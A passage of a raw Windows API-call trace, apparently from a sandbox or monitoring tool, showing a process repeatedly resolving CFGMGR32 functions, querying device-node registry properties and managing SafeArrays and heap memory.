(hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0200.072] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0200.072] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0200.072] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0200.072] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0200.072] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0200.072] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0200.073] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0200.073] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0200.073] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0200.073] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0200.073] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0200.073] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0200.073] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0200.074] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0200.074] malloc (_Size=0x18) returned 0x196ef0d1d40 [0200.074] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0200.074] malloc (_Size=0x124) returned 0x196ef0d6890 [0200.074] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0200.075] free (_Block=0x196ef0d6890) [0200.075] malloc (_Size=0x48) returned 0x196ef0fb630 [0200.075] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x581c1938, dwHighDateTime=0x1d9eb0c)) [0200.075] SetEvent (hEvent=0x248) returned 1 [0200.077] malloc (_Size=0x18) returned 0x196ef0d1980 [0200.077] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0200.077] free (_Block=0x196ef0d1980) [0200.077] malloc (_Size=0x18) returned 0x196ef0d1b00 [0200.078] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0200.078] free (_Block=0x196ef0d1b00) [0200.078] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0200.078] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0200.078] free (_Block=0x196ef0d1ba0) [0200.078] malloc (_Size=0x18) returned 0x196ef0d1c40 [0200.078] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0200.078] free (_Block=0x196ef0d1c40) [0200.078] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855ae0 [0200.078] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0200.078] SafeArrayGetLBound (in: psa=0x196ee7bee20, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0200.078] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0200.078] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6050 [0200.078] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0200.078] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0200.078] SafeArrayGetElemsize (psa=0x196ee7bee20) returned 0x8 [0200.079] SafeArrayGetElement (in: psa=0x196ee7bee20, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0200.079] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b63e0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0200.079] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b63e8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0200.079] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b63f0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0200.080] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b63f8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0200.080] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6050) returned 1 [0200.080] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855ae0) returned 1 [0200.081] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0200.081] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0200.081] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0200.081] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0200.081] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0200.082] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0200.082] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0200.082] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0200.082] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0200.082] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0200.082] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0200.083] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0200.083] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0200.083] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0200.083] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0200.083] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0200.083] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0200.083] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0200.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0200.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0200.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0200.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0200.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0200.084] malloc (_Size=0x18) returned 0x196ef0d1e80 [0200.084] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0200.084] malloc (_Size=0x10e) returned 0x196ef0d6890 [0200.085] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0200.085] free (_Block=0x196ef0d6890) [0200.237] malloc (_Size=0x48) returned 0x196ef0fb270 [0200.238] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5833ef49, dwHighDateTime=0x1d9eb0c)) [0200.238] SetEvent (hEvent=0x248) returned 1 [0200.241] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0200.241] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0200.241] free (_Block=0x196ef0d1fa0) [0200.241] malloc (_Size=0x18) returned 0x196ef0d1e20 [0200.241] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0200.241] free (_Block=0x196ef0d1e20) [0200.241] malloc (_Size=0x18) returned 0x196ef0d1960 [0200.241] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0200.242] free (_Block=0x196ef0d1960) [0200.242] malloc (_Size=0x18) returned 0x196ef0d1c80 [0200.242] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0200.242] free (_Block=0x196ef0d1c80) [0200.242] malloc (_Size=0x18) returned 0x196ef0d1b40 [0200.242] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0200.242] free (_Block=0x196ef0d1b40) [0200.242] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0200.242] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0200.242] free (_Block=0x196ef0d1fa0) [0200.242] malloc (_Size=0x18) returned 0x196ef0d2060 [0200.242] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0200.243] free (_Block=0x196ef0d2060) [0200.243] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855e60 [0200.243] SafeArrayGetDim (psa=0x196ee7bfaa0) returned 0x1 [0200.243] SafeArrayGetLBound (in: psa=0x196ee7bfaa0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0200.243] SafeArrayGetUBound (in: psa=0x196ee7bfaa0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0200.243] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6050 [0200.243] SafeArrayGetDim (psa=0x196ee7bfaa0) returned 0x1 [0200.243] SafeArrayGetUBound (in: psa=0x196ee7bfaa0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0200.243] SafeArrayGetElemsize (psa=0x196ee7bfaa0) returned 0x8 [0200.243] SafeArrayGetElement (in: psa=0x196ee7bfaa0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0200.244] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee10, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0200.244] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee18, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0200.244] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee20, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0200.244] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee28, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0200.245] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee30, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0200.245] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee38, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0200.245] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee40, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0200.246] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6050) returned 1 [0200.246] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855e60) returned 1 [0200.246] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0200.246] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0200.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0200.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0200.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0200.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0200.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0200.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0200.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0200.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0200.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0200.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0200.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0200.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0200.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0200.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0200.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0200.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0200.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0200.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0200.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0200.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0200.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0200.250] malloc (_Size=0x18) returned 0x196ef0d1e60 [0200.250] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0200.254] malloc (_Size=0x48) returned 0x196ef0fbc20 [0200.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5836522d, dwHighDateTime=0x1d9eb0c)) [0200.254] SetEvent (hEvent=0x248) returned 1 [0200.257] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0200.257] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0200.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0200.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0200.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0200.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0200.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0200.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0200.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0200.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0200.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0200.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0200.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0200.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0200.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0200.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0200.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0200.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0200.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0200.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0200.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0200.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0200.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0200.260] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0200.261] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0200.261] malloc (_Size=0x48) returned 0x196ef0fc120 [0200.261] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5838b4cf, dwHighDateTime=0x1d9eb0c)) [0200.261] SetEvent (hEvent=0x248) returned 1 [0200.264] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0200.264] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0200.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0200.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0200.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0200.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0200.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0200.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0200.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0200.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0200.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0200.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0200.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0200.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0200.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0200.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0200.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0200.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0200.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0200.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0200.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0200.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0200.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0200.268] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0200.268] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0200.268] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0200.268] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5838b4cf, dwHighDateTime=0x1d9eb0c)) [0200.268] SetEvent (hEvent=0x248) returned 1 [0200.271] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0200.271] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0200.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0200.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0200.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0200.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0200.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0200.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0200.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0200.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0200.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0200.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0200.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0200.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0200.284] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0200.284] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0200.284] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0200.284] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0200.284] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0200.284] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0200.284] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0200.285] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0200.285] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0200.285] malloc (_Size=0x18) returned 0x196ef0d1a40 [0200.285] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0200.286] malloc (_Size=0x48) returned 0x196ef0fbae0 [0200.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x583b1b9f, dwHighDateTime=0x1d9eb0c)) [0200.286] SetEvent (hEvent=0x248) returned 1 [0200.291] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0200.291] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0200.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0200.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0200.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0200.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0200.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0200.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0200.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0200.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0200.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0200.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0200.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0200.293] GetProcAddress (hModule=0x7ffa786c0000, 